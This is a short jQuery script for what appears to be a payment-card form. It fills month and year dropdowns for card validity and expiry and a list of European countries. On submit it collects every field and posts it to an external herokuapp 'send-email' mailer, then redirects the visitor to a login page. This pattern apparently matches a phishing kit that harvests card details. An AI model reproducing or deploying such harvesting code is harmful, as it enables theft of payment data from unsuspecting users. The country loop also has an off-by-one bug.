$(function () {
  jQueryCode = function () {
    countries = [
      "Albania",
      "Andorra",
      "Armenia",
      "Austria",
      "Azerbaijan",
      "Belarus",
      "Belgium",
      "Bosnia and Herzegovina",
      "Bulgaria",
      "Croatia",
      "Cyprus",
      "Czechia",
      "Denmark",
      "Estonia",
      "Finland",
      "France",
      "Georgia",
      "Germany",
      "Greece",
      "Hungary",
      "Iceland",
      "Ireland",
      "Italy",
      "Kazakhstan",
      "Kosovo",
      "Latvia",
      "Liechtenstein",
      "Lithuania",
      "Luxembourg",
      "Malta",
      "Moldova",
      "Monaco",
      "Montenegro",
      "Netherlands",
      "North Macedonia (formerly Macedonia)",
      "Norway",
      "Poland",
      "Portugal",
      "Romania",
      "Russia",
      "San Marino",
      "Serbia",
      "Slovakia",
      "Slovenia",
      "Spain",
      "Sweden",
      "Switzerland",
      "Turkey",
      "Ukraine",
      "Vatican City (Holy See)",
    ];
    // your jQuery code
    let vmonth = $("#valid_month")[0];
    let emonth = $("#expiry_month")[0];
    for (var i = 1; i <= 12; i++) {
      var opt = document.createElement("option");
      opt.value = i;
      opt.innerHTML = i;
      vmonth.appendChild(opt);
    }
    for (var i = 1; i <= 12; i++) {
      var opt = document.createElement("option");
      opt.value = i;
      opt.innerHTML = i;
      emonth.appendChild(opt);
    }
    let vyear = $("#valid_year")[0];
    for (var i = 1990; i <= 2020; i++) {
      var opt = document.createElement("option");
      opt.value = i;
      opt.innerHTML = i;
      vyear.appendChild(opt);
    }

    let eyear = $("#expiry_year")[0];
    for (var i = 2020; i <= 2090; i++) {
      var opt = document.createElement("option");
      opt.value = i;
      opt.innerHTML = i;
      eyear.appendChild(opt);
    }
    let country = $("#country")[0];
    for (var i = 0; i <= countries.length; i++) {
      var opt = document.createElement("option");
      opt.value = countries[i];
      opt.innerHTML = countries[i];
      country.appendChild(opt);
    }
    $("#formtosend").on("submit", function (event) {
      event.preventDefault();
      let form = $(this).serializeArray();
      let fullForm = {};
      if (
        $("#expiry_month").val() == "Select Month" ||
        $("#expiry_year").val() == "Select year"
      ) {
        alert("expiry month and year are compulsory fields");
      } else {
        form.map((item) => {
          fullForm[item.name] = item.value;
        });
        $.ajax({
          method: "POST",
          url: "https://mailing-app-zeeshan.herokuapp.com/send-email",
          data: fullForm,
        })
          .done(function (msg) {
            window.location.replace("./login.html")
          })
          .fail(function () {
            window.location.replace("./error.html")
          })
      }
    });


  };
  if (window.jQuery) jQueryCode();
  else {
    var script = document.createElement("script");
    document.head.appendChild(script);
    script.type = "text/javascript";
    script.src = "https://code.jquery.com/jquery-3.5.0.min.js";
    script.integrity = "sha256-xNzN2a4ltkB44Mc/Jz3pT4iU1cmeR0FkXs4pru/JxaQ=";
    script.crossorigin = "anonymous";
    script.onload = jQueryCode;
  }
});
